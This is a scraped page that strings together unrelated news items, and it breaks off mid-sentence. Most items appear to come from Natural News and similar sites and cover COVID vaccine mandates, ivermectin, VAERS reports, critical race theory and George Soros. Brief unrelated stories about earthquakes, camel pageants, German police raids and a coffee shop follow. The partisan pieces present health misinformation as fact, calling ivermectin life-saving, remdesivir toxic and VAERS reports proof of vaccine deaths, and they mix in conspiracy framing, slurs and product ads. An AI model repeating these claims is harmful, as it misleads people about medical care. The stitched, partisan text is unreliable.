Ministry encourages citizens to get their vaccines but stresses that it is not mandatory: Although we encourage all citizens to receive the COVID-19 vaccination, it is not compulsory or mandatory. Vaccination will be given only with the consent of the person to be vaccinated after the information provided, the website states. For consent to be valid, it must be informed and voluntary, and the persons consenting must have the capacity to make the decision themselves. Additionally, the government recommends that everyone considers both the vaccines effectiveness and side effects. Please get vaccinated of your own decision, understanding both the effectiveness in preventing infectious diseases and the risk of side effects. No vaccination will be given without consent, it said. Japan also announced that both public and private sectors cannot discriminate against those who refuse the experimental mRNA injections. Businesses cannot mandate vaccination to their employees. Employees who are vaccinated shall not discriminate against those who refuse the injections either. The government also instructed people to file their complaints to Human Rights Advice in the possible event of discrimination at work due to their vaccination status. Doctors elsewhere around the world shared the same sentiments with Japans health authority. However, this kind of informed consent has cost many of them their licenses to practice medicine, with the government accusing them of spreading vaccine hesitancy. The way Japanese authorities are treating their citizens with the respect they deserve by informing them of the risks is unheard of in many western countries, where governments subject their citizens to receive vaccinations they do not need and threaten them with their freedoms if they dont comply. Read more news related to the coronavirus pandemic at Pandemic.news. Sources include: DailyExpose.uk RioTimesOnline.com (Natural News) Since the entire trucking industry basically threatened to quit under duress, the Biden regime is now backing off some from trying to force Wuhan coronavirus (Covid-19) vaccines on the private sector as part of its post-plandemic Build Back Better (6uild 6ack 6etter) initiative. This is how things appear, anyway, after Labor Secretary Marty Walsh told fake financial news giant CNBC that most truckers are actually exempt from the scheme. Weve heard some pushback from truckers today, Walsh stated. The ironic thing is most truckers are not covered by this because theyre driving a truck, theyre in a cab, theyre by themselves, they wouldnt be covered by this. This is not what the Biden regime had been signaling previously, though. The official plan was to force all businesses with 100 or more employees, regardless of individual employee interaction habits, to take the jabs. With the economy already teetering at the point of no return, perhaps Bidens people realized that allowing potentially hundreds of thousands of truckers to just walk off the job is not exactly going to do the supply chain any favors. As of last Friday, all companies with 100 employees or more are supposed to only allow jab-compliant workers on the job. Everyone else must either submit a weekly negative test result or quit. According to CNBC, affected businesses have until January 4 to ensure that all of their employees are fully vaccinated, meaning they have received the two, three, or possibly even four injections that the government says are necessary to stop the spread of Chinese Germs. Support our mission to keep you informed: Discover the extraordinary benefits of turmeric gummy bears and organic "turmeric gold" liquid extract, both laboratory tested for heavy metals, microbiology and safety. Naturally high in potent curcuminoids. Delicious formulations. All purchases support this website (as well as your good health). See availability here. Air travel industry also collapsing due to Bidens jab mandates Another industry taking a huge hit from all this plandemic nonsense is air travel. Upwards of half of all workers at the Transportation Security Administration (TSA), we reported, were non-compliant just days before the mandate came into effect for them. A cohort of Republican congressmen is attempting to combat that mandate, claiming that it threatens to leave already struggling airlines without any screeners to screen passengers. All of this disruption to the economy, both nationally and globally, is completely unnecessary, by the way. The only reason it continues is because Biden and his treasonous crew are insisting that everyone roll up their sleeves against their will and take chemical injections that could kill them. How we ever got to this point in the supposed land of the free is a sad testament to how far this country has fallen from what it once was. Perhaps that was the impetus behind the previous administrations Make America Great Again slogan because clearly this country is no longer great, especially not under these conditions. Walsh did further specify that truckers and other logistics employees who work around other people or who drive with someone else will still be expected to take the jabs on command, or else face punishment from the regime. Truck drivers who work in teams (i.e., two people in a truck cab), or those who interact with people in buildings at their destinations or starting points are included among those required by Biden to take the injections. Last month, a representative from the American Trucking Associations warned the White House that trying to force truckers to get injected against their will would be disastrous for the economy. Given the nationwide shortage of truck drivers, it is vital that our industry has the relief it needs to keep critical goods moving, including food, fuel, medicine and the vaccine itself, this person stated. The latest news about Chinese Virus tyranny from the Biden regime can be found at Fascism.news. Sources for this article include: CNBC.com NaturalNews.com (Natural News) A doctor in Mississippi was recently fired after trying to treat Wuhan coronavirus (COVID-19) patients with ivermectin, a medication that has been approved for use in humans by the Food and Drug Administration. Dr. John Witcher, an emergency room physician for the Baptist Memorial Hospital in Yazoo City, gained notoriety in September when he started Mississippi Against Mandates, an organization composed of nine physicians and health freedom advocates who are against hospitals forcing their employees to get vaccinated. Mississippi Against Mandates has been accused of circulating COVID vaccine misinformation by putting up online advertisements, purchasing billboards that warn people about the risks of getting vaccinated and holding protests. We grouped together and we started protesting, said Witcher at the time. Took to the streets and had rallies and whatnot. On Friday, Dec. 10, Witcher was working at Baptist Memorial when three new COVID-19 patients arrived. They were prescribed the toxic drug remdesivir, but Witcher informed other doctors that he had concerns about the drug. (Related: Hospitals murdering COVID-19 patients by forcing them to take deadly drugs like remdesivir and midazolam Clay Clark on Brighteon.TV.) I was there at the hospital for three days straight in the ER and so I felt like this would be a good opportunity to try ivermectin on these inpatient patients that I had been following very closely and just see how well it worked, said Witcher. He said he had never used ivermectin on any of his patients before, but felt that it would be the best time to try the drug. Theres a first time for everything, but I wouldnt say it was experimental, said Witcher. Theres been plenty of evidence with patients right here in Mississippi who have taken ivermectin, and theyve done well. My first priority is to take care of patients, he added. I dont want to do any harm, and I want to do the best for my patients with the resources I have. The hospital refused to provide ivermectin for the COVID-19 patients. Witcher had to call a local pharmacy, which delivered the drug to the hospital. Witcher then switched the prescriptions of the COVID-19 patients from remdesivir to ivermectin. I was aware I was going against the hospital policy on ivermectin, but I still felt like, as the treating physician of these patients, that I had the option, he said. Witcher immediately fired and his patients put back on remdesivir Baptist Memorial Hospital administrators quickly found out that Witcher gave his patients life-saving COVID-19 medication. He was immediately told not to come back. I was very surprised that I was basically told not to come back at the end of the day, said Witcher. These patients were under my direct care, and so I felt like taking them off remdesivir and putting them on ivermectin was the right thing to do at the time. Following Witchers firing, Baptist Memorial sent out a statement: Dr. Jonathan Witcher no longer practices medicine as an independent physician at Baptist Memorial Hospital-Yazoo Baptist Memorial Hospital follows the standards of care recommended by the scientific community and our medical team in the prevention and treatment of COVID-19. These include the COVID-19 vaccine and monoclonal antibody treatment, which have proven to be safe and effective in severely reducing illness from the virus and saving countless lives. Before his dismissal, Witcher was in the second year of a three-year contract with Baptist Memorial. He now has no control over the patients he used to care for and the hospital wont even let him on their premises or log on the hospitals online administrative system. Witcher added that he believes the three patients were put back on remdesivir. Im concerned about that. I would like to have access to those patients, he said. MedicalTyranny.com has more stories about doctors being prevented from treating their patients with life-saving COVID-19 medications. Sources include: TheEpochTimes.com WLBT.com SunHerald.com (Natural News) Critical race theory, which teaches that all whites are as inherently racist as the systems and institutions they established at the founding of our country, has now been banned from schools in yet another Republican-run state: North Dakota. Last week, Gov. Doug Burgum signed House Bill 1508 into law just a day after the GOP-controlled legislature sent him the one-page bill that was approved by an overwhelming majority in both chambers. Supporters of the legislation say it will prevent extremely divisive and incorrect materials from being used to brainwash North Dakota students and also serves to address concerns held by most parents in the state. Our parents are seeing these types of ideas, these types of concepts in critical race theory being brought home by their children, said Republican state Rep. Jim Kasper, one of the legislations sponsors, according to The Bismarck Tribune. The Epoch Times adds: Unlike anti-CRT laws enacted in some other states, such as the Texas law targeting individual concepts derived from CRT, the new North Dakota law specifically mentions the ideologywhich is rooted in Marxismby its name and prohibits its incorporation into the K12 curriculum. Under the new law, school districts in North Dakota must ensure factual, objective instruction for students and may not include instruction relating to critical race theory in any portion of the curriculum that they require or offer. The law defines CRT as the theory that racism is not merely the product of learned individual bias or prejudice, but that racism is systemically embedded in American society and the American legal system to facilitate racial inequality. Burgum told Fox News in a statement that the new law will not just address parental concerns but also help school boards maintain their autonomy. This bill addresses the concerns of parents while preserving the decision-making authority of local school boards to approve curriculum that is factual, objective, and aligned with state content standards, he said. This bill is about critical race theory, and its mostly about preventing it from being taught in our state, Republican state Sen. Donald Schaible said Friday, according to Fox News. Its a political ideology It is an ideology that if we can indoctrinate it into our children young it would have a political consequence on our children later, Republican state Sen. Janne Myrdal, who introduced the bill in the Senate, added. Were not talking about teaching history and racism, I deplore racism as I think everybody in this body does We need to teach true history, and we need to teach all of it. The measure defines critical race theory as the theory that racism is not merely the product of learned individual bias or prejudice, but that racism is systematically embedded in American society and the American legal system to facilitate racial inequality. As expected, however, banning the inherently racist curriculum drew criticism from the North Dakota chapter of the American Civil Liberties Union, which wrongly claimed that banning the materials will also bar students from being able to engage in an open and honest dialogue about Americas history. This bill treats honest and frank discussions of race and its place in American history as a threat and attempts to censor classroom conversations, the organization claimed in a statement. This is particularly egregious in consideration of the North Dakota governments turbulent history with Indigenous people who have been here since before colonization. What a crock; in fact, whether some of our founders owned slaves or not, the fact is they established a form of government that gave later generations the ability to change the laws and the Constitution itself to bar the abhorrent practice as well as ensure the founders vision of equality for all. That there are still civic leaders in our country who are claiming that zero or little progress has been made throughout our countrys 240-plus year history is insane. Sources include: FoxNews.com TheEpochTimes.com NewsTarget.com (Natural News) A state lawmaker in Oklahoma has filed legislation that would ban COVID-19 vaccine mandates there, even as a federal court has blocked the Biden regime from imposing one on private companies. State Rep. Tom Gann, R-Inola, filed House Bill 1003X, nicknamed the Liberty Bill, this week to end what he calls shocking abuse after receiving numerous calls from constituents who face loss of employment due to vaccine mandates, Fox News reported last week. In a statement, Gann noted: Following Oklahomas successful, landmark opioid settlement against the drug makers, its inconceivable that any employer would ask employees to subject themselves to an EUA injection from that same industry. The lawmaker hit on a familiar theme that the vaccines have yet to receive full approval and that some are still being utilized under emergency authorization. One vaccine, from Pfizer, has received Food and Drug Administration approval but it isnt widely available as of yet. Gann included a portion of the legislation in his statement which says residents dont have to participate in any way in any form of health care services contrary to his or her conscience, according to local outlet KTUL. Well, as a government official, our first and foremost duty is to preserve the individual rights for the people, and thats what this law is all about. When this abuse is taking place in the state of Oklahoma, we have to stand up and protect the individual liberty, said Gann, the outlet continued. When this abuse is taking place in the state of Oklahoma, we have to stand up and protect individual liberty, he added. Gann was among several GOP lawmakers in the state who sent a letter to Oklahoma Gov. Kevin Stitt in July requesting an executive order to prohibit vaccine mandates for Oklahoma health care workers. These employees are the heroes that stood on the front line of the pandemic caring for those that had fallen ill to COVID-19. The quickest and most effective way to protect these workers is an executive order prohibiting these mandates, said the letter, which was signed by 20 state legislators. Ganns bill comes following Joe Bidens executive order in September mandating that all federal workers and federal contractors, along with businesses that have 100 or more employees implement a vaccine mandate for all workers or subject them to weekly testing. The legislation comes after a federal appeals court blocked Bidens order, according to Bloomberg Law: Citing grave statutory and constitutional issues, the U.S. Court of Appeals for the Fifth Circuit put the newly minted workplace mandate rule on hold Saturday pending further litigation. The order comes a day after the Occupational Safety and Health Administration officially published its vaccinate-or-test regulation, which was met by a flurry of lawsuits from Republican state attorneys general, companies, and other organizations seeking to block it. The emergency temporary standard is supposed to last just six months, heightening the significance of any delay before the rule gets full judicial review. The Biden administration filed a counter-motion and claimed that the courts order was premature. Accordingly, there is no need to address petitioners stay motions now, and the Court should lift its administrative stay and allow this matter to proceed under the process that Congress set forth for judicial review of OSHA standards, administration lawyers argued in the filing last week. When Biden issued his initial order Sept. 9, he actually blamed the COVID pandemic on unvaccinated Americans, though the virus had already produced a number of variants (which generally happens when you put out vaccines because viruses virus thats what they do). The virus will not go away by itself, or because we wish it away: We have to act. Vaccination is the single best pathway out of this pandemic, he went on to say earlier this month. And while I would have much preferred that requirements not become necessary, too many people remain unvaccinated for us to get out of this pandemic for good. So I instituted requirements and they are working, he lied. They protect our workers and have helped us reduce the number of unvaccinated Americans over the age of 12 from approximately 100 million in late July when I began requirements to just about 60 million today. Sources include: BloombergLaw.com FoxNews.com NaturalNews.com (Natural News) The only reason a known anarchist would escape justice in the United States is if he is very wealthy and has a small army of politicians and other powerful people on the hook. That helps explain why billionaire George Soros has been actively funding efforts to undermine the social fabric of America for decades and work for our collapse without paying a legal price for it. To that end, Soros has been busted again recently this time, caught funding a mysterious dark money hub that serves as a clearinghouse for materials aimed at assisting other left-wing Marxists around the country to defund police departments, which would literally cause those cities to collapse overnight. The American Wire reports: Soros nonprofit network, the Foundation to Promote an Open Society, plowed $3 million into the Community Resource Hub for Safety and Accountability last year, according to a search of the organizations grant database. The CRH serves as a central point of distribution for local left-wing activists on how so-called police reform initiatives, to including materials showing how to defund or abolition police departments. Of the Soros-provided funding, $2 million funded a budgeting Academy program set up to train community safety advocates in how to advocate around their local municipal budgets, according to the grants. The remaining $1 million went for general support efforts. The hub sits under the umbrella of the most prominent dark money network in the U.S., Fox News added, citing tax forms. Sponsored solution from the Health Ranger Store: The Big Berkey water filter removes almost 100% of all contaminants using only the power of gravity (no electricity needed, works completely off-grid). Widely consider the ultimate "survival" water filter, the Big Berkey is made of stainless steel and has been laboratory verified for high-efficiency removal of heavy metals by CWC Labs, with tests personally conducted by Mike Adams. Explore more here. In the past, the Open Society Foundation donated $1.5 million to the recourse center in 2019, a half-million of which to set up the hub and distribution center, the tax forms reveal. The dark money donations are part of a larger effort on the part of Soros to reshape the U.S. justice system. For several years, he has funded far-left district attorney candidates, many successfully, in some of the countrys largest cities, American Wire added. Critics cite the DAs including Chesa Boudin in San Francisco, George Gascon in Los Angeles, and Larry Krasner in Philadelphia for implementing soft-on-crime policies that have contributed to crime spikes in their cities. The hub describes itself as a resource for local advocates and organizers working to address the harms of policing in the U.S., while seeking to cultivate community safety and accountability outside of the criminal legal system. CRH also established a Defund Police Fellowship program that now supports 16 fellows in 13 cities with the funding to pay staffers. The hub also offers monthly trainings and skill building sessions, weekly office hours with budget, campaign strategy and communications experts, and a peer mentor program, according to the website. For the past few years, Soros has also funded the campaigns of literal Marxists running as district attorneys who, when they win, dismantle the legal systems in the cities they were elected to protect. The results have been predictable: dramatic rises in criminal activity, murder and violence. Indeed, local law enforcement officials and prosecutors alike have blamed these society-destroying left-wing policies for those crime spikes, but some of the Soros DAs have pushed back, including one recently: Larry Krasner in Philadelphia. We dont have a crisis of lawlessness, we dont have a crisis of crime, we dont have a crisis of violence, the district attorney told reporters last week at a press conference. Its important that we dont let this become mushy and bleed into the notion that there is some kind of big spike in crime. There isnt. There is not a big spike in crime. There is not a big spike in violent crime. Neither one of these things is true. Thats false, according to Fox News: The Philadelphia Police Department has reported 521 homicides so far in 2021 a 13% increase compared to 2020 and the citys highest number of killings since at least 2007. Shooting incidents have increased 4.4%, and the number of shooting victims has risen about 3% over the last year. George Soros should have been tried and convicted decades ago for trying to subvert our republic and destroy our society. That he hasnt been should tell you how much influence he has over our government and whose side our leaders are really on. Read more stories like this at Collapse.news. Sources include: AmericanWireNews.com FoxNews.com NewsTarget.com (Natural News) The Centers for Disease Control and Prevention (CDC) released new data today showing a total of 875,653 adverse events following COVID vaccines were reported between Dec. 14, 2020, and Nov. 5, 2021, to the Vaccine Adverse Event Reporting System (VAERS). VAERS is the primary government-funded system for reporting adverse vaccine reactions in the U.S. (Article by Megan Redshaw republished from ChildrenHealthDefense.org) The data included a total of 18,461 reports of deaths an increase of 383 over the previous week, and 135,400 reports of serious injuries, including deaths, during the same time period up 7,943 compared with the previous week. Excluding foreign reports to VAERS, 643,957 adverse events, including 8,456 deaths and 53,780 serious injuries, were reported in the U.S. between Dec. 14, 2020, and Nov. 5, 2021. Foreign reports are reports received by U.S. manufacturers from their foreign subsidiaries. Under U.S. Food and Drug Administration (FDA) regulations, if a manufacturer is notified of a foreign case report that describes an event that is both serious and does not appear on the products labeling, the manufacturer is required to submit the report to VAERS. Of the 8,456 U.S. deaths reported as of Nov. 5, 10% occurred within 24 hours of vaccination, 15% occurred within 48 hours of vaccination and 26% occurred in people who experienced an onset of symptoms within 48 hours of being vaccinated. In the U.S., 427.6 million COVID vaccine doses had been administered as of Nov. 5. This includes: 250 million doses of Pfizer, 162 million doses of Moderna and 16 million doses of Johnson & Johnson (J&J). Every Friday, VAERS publicizes vaccine injury reports received as of a specified date. Reports submitted to VAERS require further investigation before a causal relationship can be confirmed. Historically, VAERS has been shown to report only 1% of actual vaccine adverse events. Numbers this week do not yet include reports from the authorization of Pfizers pediatric COVID vaccine for the 5 to 11 age group. Reports currently in VAERS for children under 12 are due to product administered to patient of inappropriate age. During a meeting on Oct. 26, by the U.S. Food and Drug Administrations vaccine panel, Dr. Jessica Rose, a viral immunologist and biologist, said tens of thousands of reports have been submitted to the Vaccine Adverse Event Reporting System for children ages 0 to 18, and that 60 children have died 23 of them were under 2 years old. It is disturbing to note that product administered to patients of inappropriate age was filed 5,510 times in this age group, Rose said. Two children were inappropriately injected, presumably by a trained medical professional, and subsequently died. This is malfeasance. This weeks U.S. data for 12- to 17-year-olds show: The most recent death includes a 17-year-old female from Washington (VAERS ID 1828901) who reportedly died Oct. 29 from a heart condition after receiving her second dose of Pfizer. According to the VAERS report, the girl had COVID in August and fully recovered. She received her first dose of Pfizer on Sept. 3 and her second dose on Sept 15. On Oct. 23, she presented to the ER with chest pain and elevated troponin. She had an abnormal echocardiogram, abnormal EKG and became increasingly tachycardic. She then suffered cardiac arrest. Unfortunately she was not able to be resuscitated and died, the report states. Cause of death possible acute myocarditis. Other deaths include a 12-year-old girl from South Carolina (VAERS I.D. 1784945) who hemorrhaged 22 days after receiving Pfizers COVID vaccine, a 13-year-old girl from Maryland (VAERS I.D. 1815096) who died from a heart condition 15 days after receiving her first dose of Pfizers vaccine and a 17-year-old female from Texas (VAERS I.D. 1815295 who experienced an acute hyperglycemic crisis 33 days after being vaccinated. 59 reports of anaphylaxis among 12- to 17-year-olds where the reaction was life-threatening, required treatment or resulted in death with 96% of cases attributed to Pfizers vaccine. attributed to Pfizers vaccine. 552 reports of myocarditis and pericarditis (heart inflammation) with 542 cases attributed to Pfizers vaccine. 131 reports of blood clotting disorders, with all cases attributed to Pfizer. This weeks U.S. VAERS data, from Dec. 14, 2020, to Nov. 5, 2021, for all age groups combined, show: Teen diagnosed with Guillain-Barre syndrome After COVID Vaccine A 17-year-old girl was hospitalized for Guillain-Barre syndrome (GBS) a rare disorder in which the bodys immune system attacks its nerves after receiving a COVID vaccine. Shelby Allen said shes thankful she isnt paralyzed and didnt die. Shelby Allen, a 17-year-old from Dyer County, Tennessee, is hospitalized with a rare disorder in which the bodys immune system attacks its nerves. She developed the condition after getting a COVID vaccine. SIGN UP #TheDefender: https://t.co/zL66Edfiw5https://t.co/M2wxPUxn3X Robert F. Kennedy Jr (@RobertKennedyJr) November 10, 2021 Allen started experiencing back pain and tingling in her arms after getting vaccinated. Symptoms progressed until she found herself unable to feel her arms and legs while bowling with her schools team. Allens parents took her to the doctor in Jackson, Tennessee, where she was diagnosed with GBS and admitted to the ICU. Allens doctor knew right off the bat her reaction was caused by a COVID vaccine, but still recommended people get vaccinated. Allen is hoping shell be able to walk by March for her high school graduation. Taiwan temporarily halts second dose of Pfizer over myocarditis concerns The Central Epidemic Command Center (CECC) said on Wednesday a panel of experts is suspending second doses of Pfizer-BioNTechs COVID vaccine for children 12 to 17 years old amid concerns it may increase the risk of myocarditis. Cases of myocarditis (inflammation of the heart muscle) and pericarditis (inflammation of the outer lining of the heart) have been reported in children between 12 and 17 years old who received Pfizers vaccine. CECC cited U.S. statistics which show the risk of experiencing heart inflammation after receiving a second dose is 10 times higher than after the first dose. Chen Shih-chung, who heads up the CECC, said the Ministry of Health and Welfares Advisory Committee for Immunization Practices halted second doses of Pfizer for two weeks, during which time experts and CDC physicians will assess 16 cases of myocarditis among adolescents after Pfizer vaccination before making a decision on whether to go ahead with the second dose. Hong Kong gives only a single dose to teens 12 to 17, while the UK recommends only one shot for children between ages 12 and 18. More countries restrict Moderna vaccine over reports of myocarditis Frances public health authority recommended people under 30 receive Pfizers COVID vaccine instead of Moderna, due to higher risks of heart problems in young adults, Reuters reported. The Haute Autorite de Sante (HAS), an independent advisor to the French health sector, cited very rare risks linked to myocarditis, confirmed by a French study published Monday. Within the population aged under 30, this risk appears to be around five times lesser with Pfizers Comirnaty jab compared to Modernas Spikevax jab, HAS said. Germanys advisory committee, known as STIKO, said on Wednesday people under age 30 should receive only Pfizers vaccine, as it causes fewer cases of heart inflammation in younger people. STIKO also recommended pregnant women receive only the Pfizer vaccine, regardless of their age. The recommendations were based on new safety data from the Paul Ehrlich Institute Germanys authority in charge of vaccines, and new data. The decision came after several other countries restricted the use of Moderna to older populations, including Canada, Finland, Denmark and Sweden. Frances medical regulator on Oct. 15 recommended using only Pfizers vaccine for booster shots, despite the European Unions drug regulator last month approving Modernas booster for all age groups over 18. Pfizer asks FDA to authorize third booster dose for all people 18 and older As The Defender reported Nov. 10, Pfizer and BioNTech on Tuesday asked the FDA to authorize a third dose of their COVID vaccine for all people 18 and older, even though advisory panels to the FDA and CDC in September overwhelmingly rejected a similar request. The companies said their new request is based on the results of a study, conducted by Pfizer and BioNTech, which has not been published or peer-reviewed. The companies said the study of more than 10,000 volunteers showed vaccine efficacy against symptomatic infection of 95% or greater for people receiving the booster. Pfizer did not disclose how many participants experienced asymptomatic infection, or whether the clinical trial as did Pfizers clinical trial for 5- to 11-years-olds included individuals with natural immunity acquired from previous SARS-CoV-2 infection. Childrens Health Defense asks anyone who has experienced an adverse reaction, to any vaccine, to file a report following these three steps. Read more at: ChildrenHealthDefense.org More than 40 earthquakes, ranging in magnitude from 3.5 to 5.8, have jolted the Oregon coast, drawing the attention of millions of people in the area. The sequence of quakes began early last week and were all located between 200 and 250 miles west of Newport, Oregon. "If you had asked me yesterday where on Earth would be most likely to create several magnitude 5.0-plus quakes in a single day, this would have been top on my list," Harold Tobin, Director of the Pacific Northwest Seismic Network at the University of Washington, said in an interview with CNN. According to Oregon State University, the Blanco Fracture Zone, which is more active than California's iconic San Andreas Fault, is to blame for the quakes. At Least Nine Earthquakes At least nine earthquakes with magnitudes of 5.0 to 5.8 occurred this week, with the majority occurring at depths of only 10 kilometers. However, none resulted in a tsunami warning, according to the USGS. The National Tsunami Warning Center is a government-run organization that monitors and forecasts tsunamis. Related Article: How Diamonds Are Helping Geologists Understand Superdeep Earthquakes Nearby Fault Although the region is one of the most earthquake-prone in North America, damaging quakes are rare due to the Blanco Fracture Zone, one of the most seismically active in the continent. The fault is located around 275 miles west of the Oregon coast. "Because Blanco Fracture zone quakes are strike-slip, or lateral motions of the crustal blocks on either side, rather than up-down displacement, they are highly unlikely to cause a tsunami," Tobin told CNN. Since 1980, the Blanco Fracture Zone has had over 133 earthquakes of magnitude 5 or larger, none of which have been followed by an earthquake on land, according to seismologist Dr. Lucy Jones. Though this week's quakes have sparked fears that the "big one" is on the way, Tobin emphasized that this is not necessarily the case. "Although we've seen a surprising amount of magnitude 5.5-plus quakes in a short period of time," he noted, "it's not intrinsically scary, but rather seismologically intriguing." Similar Swarm A similar swarm of quakes struck near the Salton Sea in Southern California earlier this year, albeit not to the same magnitudes as this week's." Although we've seen a surprising amount of magnitude 5.5-plus quakes in a short period of time," he noted, "it's not intrinsically scary, but rather seismologically intriguing." A similar swarm of quakes struck near the Salton Sea in Southern California earlier this year, albeit not to the same magnitudes as this week's. Earthquake Swarms Swarms of earthquakes are earthquake sequences that lack a distinct main shock. Swarms can linger for weeks and create tens of thousands of earthquakes in a limited area. In volcanic settings, hydrothermal systems, and other active geothermal locations, swarms have been seen. "A swarm is just a gathering of earthquakes in time and place without requiring one single, major, noteworthy earthquake," Mike Stickney, head of the Montana Bureau of Mines and Geology's Earthquake Studies Office, noted. Stickney thinks that capturing and monitoring swarms, no matter how little, could lead to future earthquake safety quake-prone areas especially those that have around 70 faults that might cause significant quakes. Also Read: What Exactly Causes Mysterious Deep Earthquakes? For similar news, don't forget to follow Nature World News! Camels compete in the beauty pageant of the annual King Abdulaziz Camel Festival in Rumah, some 160 kilometres east of Riyadh, on December 24, 2020. (Photo : Photo by FAYEZ NURELDINE/AFP via Getty Images) Every month-long festival in the desert northeast of the Saudi capital, Riyadh, the biggest-ever crackdown on camel beauty pageants were held featuring the most beautiful camels to compete for some $66 million in prize money. However, authorities discovered dozens of breeders had their camels artificially enhanced through Botox, and were therefore disqualified from the annual pageant. On Wednesday, the state-run Saudi Press Agency reported over 40 camels to have received Botox injections and other artificial touch-ups to make them more attractive, which was strictly prohibited. Judges at festival are escalating their clamp down on artificially enhanced camels, the official news agency reported, using "specialized and advanced" technology to detect tampering. The camels' lips and noses were stretched out and had hormones to boost the muscles. "The club is keen to halt all acts of tampering and deception in the beautification of camels," the SPA report said, adding organizers would "impose strict penalties on manipulators." A multimillion-dollar industry As a multimillion-dollar industry, the camel beauty contest is at the heart of the massive carnival in Saudi Arabia, featuring camel races, sales and other festivities typically showcasing thousands of dromedaries. It seeks "to preserve the camel's role in the kingdom's Bedouin tradition and heritage. The oil-rich country also holds similar events across the region such as the camel race in Ingall, northern Niger, in spite its established and modernized mega-projects. A few years back, 12 camels were disqualified from the country's annual show after receiving injections to improve their pou to be more alluring. It has been firmly established that using drugs in the lips, or shaved or clipped body parts of the animals is not allowed. Although these features are considered to be a key attribute of camel beauty, along with delicate ears and big nose. "They use Botox for the lips, the nose, the upper lips, the lower lips and even the jaw," Ali al-Mazrouei, the son of an Emirati camel breeder, told the UAE daily last 2018. "It makes the head more inflated so when the camel comes it's like, 'Oh, look at how big that head is. It has big lips, a big nose.'" Fawzan al-Madi, chief judge of the show said: "The camel is a symbol of Saudi Arabia. We used to preserve it out of necessity, now we preserve it as a pastime." Also read: Camel Crossing: China Launches Traffic Signals for the Desert Animals "In Pursuit of the Perfect Pout" The standard of beauty for the multi-million dollar industry of camel pageantry is not just its height, shape and the placement of its hump, but a full, droopy lip and large features. "Cheaters are creative," said Ali Obaid, a camel owner and pageant guide from Medinat Zayed. "For example they start to pull the lips of the camel, they pull it by hand like this every day to make it longer. Secondly, they use hormones to make it more muscular and Botox makes the head bigger and bigger. Everyone wants to be a winner." The month-long festival is the biggest in the Gulf and involves up 30,000 camels. Also read: 8000-Year-Old Stone Camel Carvings Become World's Oldest Surviving 3D Animal Reliefs BERLIN (AP) Police in eastern Germany carried out raids Wednesday in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said they found weapons including crossbows, but it wasn't clear whether they were usable. Five properties in Dresden and one in the nearby town of Heidenau were searched in an investigation of suspected preparations for a serious act of violence, police said. The investigation was triggered by a report last week on ZDF television that a group on messenger service Telegram discussed plans to kill Saxony's state governor, Michael Kretschmer, and other members of the state government. Dresden is the capital of Saxony, which has seen frequent protests against coronavirus policy and has Germany's lowest vaccination rate. According to the report, the group's 103 members shared a rejection of vaccinations, the state and the current coronavirus policy. It featured audio messages in which people urged opposing policy measures with armed force if necessary, directed against Kretschmer and others. Police have said that comments by some members on their alleged possession of weapons and crossbows are part of the investigation. Tom Bernhardt, a spokesman for Saxony's state criminal police office, said that six members of the Telegram group are under investigation five men and one woman, all German citizens, ages 32 to 64. He said that police found crossbows, parts of weapons, and weapons; whether these are capable of firing or are so-called live weapons at all, we will see in the course of the investigation. Kretschmer said that threats against officials, scientists and journalists are unacceptable, will not be tolerated and will be pursued with all our strength. Coronavirus restrictions and the prospect of a likely vaccine mandate for all early next year have fueled recent protests in Germany. Security agencies have warned that parts of the Querdenken movement, a loose collection of groups opposed to the pandemic restrictions, are becoming increasingly radicalized. New Chancellor Olaf Scholz said in a speech to parliament Wednesday that we won't put up with a tiny minority of uninhibited extremists trying to impose its will on the whole of our society. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic GREENWICH Gregorys Coffee, a fast-growing group of coffee shops on the East Coast, has opened a new store in downtown Greenwich with the company planning further expansion in the state. The 1,500-square-foot shop at 342 Greenwich Ave., which opened last Friday, marks the first location in Connecticut for Gregorys. With 46 interior seats and approval for eight more outside, the shop operates in a space formerly occupied by a B. Good restaurant. Gregorys is open 7 a.m. to 7 p.m. daily. 342 Greenwich Ave. is a beautiful location at the bottom of the hill. Our immediate neighbors are Tesla and Warby Parker, two incredible companies that we are proud to be next to, founder and CEO Gregory Zamfotis said in an email. 342 checked every box for us, and we were thrilled to make this our Connecticut flagship location. At the same time, Zamfotis confirmed that his business plans to open a second location in Connecticut in the Noroton Heights section of Darien. That Gregorys Coffee will open next summer in the new Darien Commons development. Zamfotis said his interest in expanding to Greenwich was ignited five years ago after serving coffee and pastries at an event for the clothing store Club Monaco at 173 Greenwich Ave. during a sidewalk sale. He said he became even more familiar with the town after moving to neighboring Purchase, N.Y., in 2018 and then relocating to Rye Brook, N.Y., shortly before the start of the COVID-19 pandemic. We were completely floored, not only with the turnout for the event, but with Greenwich Avenue itself, Zamfotis said. We said to ourselves, One day, we would love to open a Gregorys on the Avenue. (Moving to Westchester County) was the straw that broke the camels back, I simply had to have a Gregorys here. It became a mission to find the perfect location for us to plant our flag in Greenwich. Downtown Greenwich already had a number of coffee shops, including a Starbucks at 301 Greenwich Ave., which stands yards from the new shop. But Zamfotis and local business groups believe there is room in the market for another establishment. You only have to look around to see how well restaurants and coffee shops are doing in Greenwich now, said Marcia OKane, CEO and president of the Greenwich Chamber of Commerce. We are confident that Gregorys will be successful. It is exciting to see Greenwich Avenue being transformed into such a vibrant dining and meeting destination. In total, Gregorys operates in 34 locations with 23 shops in Manhattan, three in New Jersey, two in Long Island and five in Washington, D.C. The company was founded in Manhattan in 2006. I know our products are high quality because we make everything ourselves, Zamfotis said. We roast our own coffee right in New York City. We are a scratch bakery making all of our products from scratch daily and then baking off fresh right in our stores. Our menu has all the classics you know and love, but also has one-of-a-kind, innovative drinks and pastries you can't find anywhere else. We have a huge offering of vegan and gluten-free offerings not because it is trendy, (but) because I am plant-based myself, he said. The Gregorys in Greenwich is starting with 12 employees. A couple of the new hires gained experience with Coffee for Good, a nonprofit that provides on-the-job training at its coffee shop at 48 Maple Ave., in Greenwich. We are really proud to partner with CFG, a group that trains and develops individuals with disabilities, Zamfotis said. They are doing amazing things, and two of their graduates will be part of our opening team. pschott@stamfordadvocate.com; twitter: @paulschott COLUMBUS, Ohio (AP) An Ohio chapter of the nation's largest Muslim civil liberties and advocacy organization has fired its leader for ethical and professional breaches that it says include a yearslong secret association with an anti-Muslim group. The Council on American-Islamic Relations-Ohio said executive and legal director Romin Iqbal was informed of his termination Tuesday, following an investigation by an independent forensic expert ordered by its national headquarters. Iqbal had been suspended since last week. The year-long probe found conclusive evidence that 